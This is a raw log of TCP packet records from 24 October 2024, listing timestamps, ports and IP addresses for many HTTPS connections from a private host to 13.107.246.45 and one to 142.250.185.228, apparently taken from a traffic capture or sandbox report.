Oct 24, 2024 22:10:18.061266899 CEST	443	56526	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.061342955 CEST	56526	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.061367035 CEST	443	56526	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.061927080 CEST	443	56526	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.062066078 CEST	56526	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.062436104 CEST	56527	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.062436104 CEST	56527	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.062448025 CEST	443	56527	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.062455893 CEST	443	56527	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.064022064 CEST	56526	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.064039946 CEST	443	56526	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.064064026 CEST	56526	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.064073086 CEST	443	56526	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.066772938 CEST	56531	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.066864967 CEST	443	56531	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.066962004 CEST	56531	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.066989899 CEST	56532	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.067008972 CEST	443	56532	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.067060947 CEST	56532	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.067118883 CEST	56531	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.067153931 CEST	443	56531	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.067234039 CEST	56532	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.067241907 CEST	443	56532	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.120527029 CEST	443	56528	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.120805979 CEST	443	56528	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.120898962 CEST	56528	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.120981932 CEST	56528	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.120981932 CEST	56528	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.121026993 CEST	443	56528	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.121054888 CEST	443	56528	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.123413086 CEST	56533	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.123447895 CEST	443	56533	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.123584032 CEST	56533	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.123804092 CEST	56533	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.123817921 CEST	443	56533	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.125830889 CEST	443	56529	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.126365900 CEST	443	56529	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.126532078 CEST	56529	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.126615047 CEST	56529	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.126615047 CEST	56529	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.126658916 CEST	443	56529	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.126686096 CEST	443	56529	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.128885031 CEST	56534	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.128911018 CEST	443	56534	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.129101038 CEST	56534	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.129264116 CEST	56534	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.129276991 CEST	443	56534	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.747670889 CEST	443	56530	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.748136997 CEST	56530	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.748178959 CEST	443	56530	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.751359940 CEST	56530	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.751374006 CEST	443	56530	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.811589003 CEST	443	56531	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.812192917 CEST	56531	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.812237024 CEST	443	56531	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.812740088 CEST	56531	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.812756062 CEST	443	56531	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.818041086 CEST	443	56532	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.818573952 CEST	56532	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.818591118 CEST	443	56532	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.818945885 CEST	56532	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.818950891 CEST	443	56532	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.870817900 CEST	443	56534	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.871361971 CEST	56534	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.871380091 CEST	443	56534	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.871802092 CEST	56534	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.871807098 CEST	443	56534	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.880501032 CEST	443	56530	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.880810976 CEST	443	56530	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.880973101 CEST	56530	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.880973101 CEST	56530	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.881037951 CEST	56530	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.881053925 CEST	443	56530	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.883899927 CEST	56535	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.883950949 CEST	443	56535	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.884166002 CEST	56535	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.884166002 CEST	56535	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.884211063 CEST	443	56535	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.946940899 CEST	443	56531	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.947001934 CEST	443	56531	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.947160006 CEST	443	56531	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.947289944 CEST	56531	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.947593927 CEST	56531	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.947593927 CEST	56531	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.947803020 CEST	56531	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.947840929 CEST	443	56531	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.951246977 CEST	443	56532	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.951294899 CEST	56536	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.951339960 CEST	443	56536	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.951354980 CEST	443	56532	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.951447964 CEST	56536	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.951487064 CEST	443	56532	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.951514006 CEST	56532	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.951711893 CEST	56536	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.951730013 CEST	443	56536	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.951795101 CEST	56532	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.951812029 CEST	56532	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.951812029 CEST	56532	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.951828003 CEST	443	56532	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.951838970 CEST	443	56532	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.954058886 CEST	56537	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.954145908 CEST	443	56537	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:18.954258919 CEST	56537	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.955358028 CEST	56537	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:18.955389977 CEST	443	56537	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.001847982 CEST	443	56534	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.001869917 CEST	443	56534	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.002063036 CEST	56534	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.002075911 CEST	443	56534	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.002242088 CEST	56534	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.002247095 CEST	443	56534	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.002408028 CEST	443	56534	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.002432108 CEST	56534	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.002444029 CEST	443	56534	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.002507925 CEST	56534	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.004528999 CEST	56538	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.004548073 CEST	443	56538	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.004776955 CEST	56538	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.004776955 CEST	56538	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.004806042 CEST	443	56538	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.628820896 CEST	443	56535	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.629406929 CEST	56535	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.629471064 CEST	443	56535	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.630150080 CEST	56535	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.630167007 CEST	443	56535	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.678899050 CEST	443	56536	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.679616928 CEST	56536	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.679635048 CEST	443	56536	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.680260897 CEST	56536	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.680267096 CEST	443	56536	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.682707071 CEST	443	56537	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.683379889 CEST	56537	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.683444977 CEST	443	56537	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.684308052 CEST	56537	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.684322119 CEST	443	56537	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.749052048 CEST	443	56538	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.749674082 CEST	56538	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.749687910 CEST	443	56538	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.750418901 CEST	56538	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.750427961 CEST	443	56538	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.806427956 CEST	443	56536	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.806494951 CEST	443	56536	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.806576014 CEST	56536	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.806586981 CEST	443	56536	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.806623936 CEST	56536	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.806639910 CEST	443	56536	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.806694984 CEST	56536	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.806880951 CEST	56536	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.806896925 CEST	443	56536	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.806910038 CEST	56536	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.806915998 CEST	443	56536	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.809891939 CEST	56539	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.809998035 CEST	443	56539	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.810127974 CEST	56539	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.810213089 CEST	56539	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.810234070 CEST	443	56539	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.811496973 CEST	443	56537	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.811546087 CEST	443	56537	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.811608076 CEST	56537	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.811634064 CEST	443	56537	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.811696053 CEST	443	56537	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.811748981 CEST	56537	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.811796904 CEST	56537	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.811796904 CEST	56537	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.811821938 CEST	443	56537	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.811850071 CEST	443	56537	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.814481974 CEST	56540	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.814507008 CEST	443	56540	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.814578056 CEST	56540	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.814717054 CEST	56540	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.814730883 CEST	443	56540	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.877208948 CEST	443	56535	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.877269030 CEST	443	56535	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.877320051 CEST	443	56535	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.877350092 CEST	56535	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.877422094 CEST	443	56535	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.877460003 CEST	56535	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.877484083 CEST	56535	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.883986950 CEST	443	56538	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.884047985 CEST	443	56538	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.884094000 CEST	56538	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.884222031 CEST	56538	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.884233952 CEST	443	56538	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.884247065 CEST	56538	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.884253025 CEST	443	56538	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.887212992 CEST	56541	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.887283087 CEST	443	56541	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.887353897 CEST	56541	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.887530088 CEST	56541	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.887556076 CEST	443	56541	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.994970083 CEST	443	56535	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.995027065 CEST	443	56535	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.995055914 CEST	56535	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.995090961 CEST	443	56535	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.995121002 CEST	56535	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.995136976 CEST	56535	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.995181084 CEST	443	56535	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.995223045 CEST	56535	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.995294094 CEST	56535	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.995320082 CEST	443	56535	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.995337009 CEST	56535	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.995343924 CEST	443	56535	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.998388052 CEST	56542	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.998410940 CEST	443	56542	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:19.998478889 CEST	56542	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.998631954 CEST	56542	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:19.998644114 CEST	443	56542	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.560448885 CEST	443	56539	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.561260939 CEST	56539	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.561356068 CEST	443	56539	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.561687946 CEST	56539	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.561702967 CEST	443	56539	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.572829962 CEST	443	56540	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.573426008 CEST	56540	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.573446989 CEST	443	56540	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.573864937 CEST	56540	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.573878050 CEST	443	56540	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.612274885 CEST	443	56541	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.613152981 CEST	56541	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.613219023 CEST	443	56541	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.613339901 CEST	56541	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.613358021 CEST	443	56541	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.692898989 CEST	443	56539	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.693161011 CEST	443	56539	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.693459988 CEST	56539	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.693459988 CEST	56539	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.693459988 CEST	56539	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.696319103 CEST	56543	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.696384907 CEST	443	56543	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.696718931 CEST	56543	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.696718931 CEST	56543	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.696794987 CEST	443	56543	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.702330112 CEST	443	56540	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.706006050 CEST	443	56540	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.706105947 CEST	56540	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.706105947 CEST	56540	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.706188917 CEST	56540	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.706203938 CEST	443	56540	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.708381891 CEST	56544	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.708468914 CEST	443	56544	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.708599091 CEST	56544	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.708678007 CEST	56544	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.708698988 CEST	443	56544	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.729156971 CEST	443	56542	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.729612112 CEST	56542	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.729621887 CEST	443	56542	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.730120897 CEST	56542	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.730134010 CEST	443	56542	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.749200106 CEST	443	56541	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.749466896 CEST	443	56541	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.749562025 CEST	56541	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.749562979 CEST	56541	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.749629021 CEST	56541	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.749651909 CEST	443	56541	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.752084970 CEST	56545	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.752175093 CEST	443	56545	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.752289057 CEST	56545	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.752405882 CEST	56545	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.752430916 CEST	443	56545	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.858376026 CEST	443	56542	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.858448982 CEST	443	56542	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.858603954 CEST	443	56542	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.858634949 CEST	56542	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.858706951 CEST	56542	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.858706951 CEST	56542	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.858784914 CEST	56542	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.858794928 CEST	443	56542	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.861553907 CEST	56546	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.861608028 CEST	443	56546	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:20.861807108 CEST	56546	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.861807108 CEST	56546	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:20.861881971 CEST	443	56546	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.005400896 CEST	56539	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:21.005476952 CEST	443	56539	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.442148924 CEST	443	56543	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.442642927 CEST	56543	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:21.442691088 CEST	443	56543	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.444710016 CEST	56543	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:21.444722891 CEST	443	56543	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.461401939 CEST	443	56544	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.461796045 CEST	56544	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:21.461859941 CEST	443	56544	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.462313890 CEST	56544	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:21.462327003 CEST	443	56544	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.502454996 CEST	443	56545	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.503165960 CEST	56545	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:21.503225088 CEST	443	56545	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.503758907 CEST	56545	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:21.503774881 CEST	443	56545	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.575143099 CEST	443	56543	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.575278044 CEST	443	56543	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.575351954 CEST	56543	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:21.575680017 CEST	56543	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:21.575716019 CEST	443	56543	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.575742960 CEST	56543	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:21.575762033 CEST	443	56543	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.595190048 CEST	443	56544	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.595350981 CEST	443	56544	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.595432043 CEST	56544	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:21.595655918 CEST	56544	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:21.595689058 CEST	443	56544	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.595742941 CEST	56544	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:21.595758915 CEST	443	56544	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.601336002 CEST	443	56546	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.601805925 CEST	56546	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:21.601825953 CEST	443	56546	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.602387905 CEST	56546	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:21.602399111 CEST	443	56546	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.635790110 CEST	443	56545	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.635864973 CEST	443	56545	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.635938883 CEST	56545	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:21.636182070 CEST	56545	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:21.636182070 CEST	56545	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:21.636220932 CEST	443	56545	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.636245966 CEST	443	56545	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.745217085 CEST	443	56546	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.745556116 CEST	443	56546	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.745636940 CEST	56546	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:21.745702028 CEST	56546	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:21.745742083 CEST	443	56546	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:21.745773077 CEST	56546	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:21.745789051 CEST	443	56546	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:27.018229008 CEST	56548	443	192.168.2.5	142.250.185.228
Oct 24, 2024 22:10:27.018305063 CEST	443	56548	142.250.185.228	192.168.2.5
Oct 24, 2024 22:10:27.018383026 CEST	56548	443	192.168.2.5	142.250.185.228
Oct 24, 2024 22:10:27.018914938 CEST	56548	443	192.168.2.5	142.250.185.228
Oct 24, 2024 22:10:27.018948078 CEST	443	56548	142.250.185.228	192.168.2.5
Oct 24, 2024 22:10:27.890043020 CEST	443	56548	142.250.185.228	192.168.2.5
Oct 24, 2024 22:10:27.890347004 CEST	56548	443	192.168.2.5	142.250.185.228
Oct 24, 2024 22:10:27.890413046 CEST	443	56548	142.250.185.228	192.168.2.5
Oct 24, 2024 22:10:27.891571045 CEST	443	56548	142.250.185.228	192.168.2.5
Oct 24, 2024 22:10:27.891956091 CEST	56548	443	192.168.2.5	142.250.185.228
Oct 24, 2024 22:10:27.892045975 CEST	443	56548	142.250.185.228	192.168.2.5
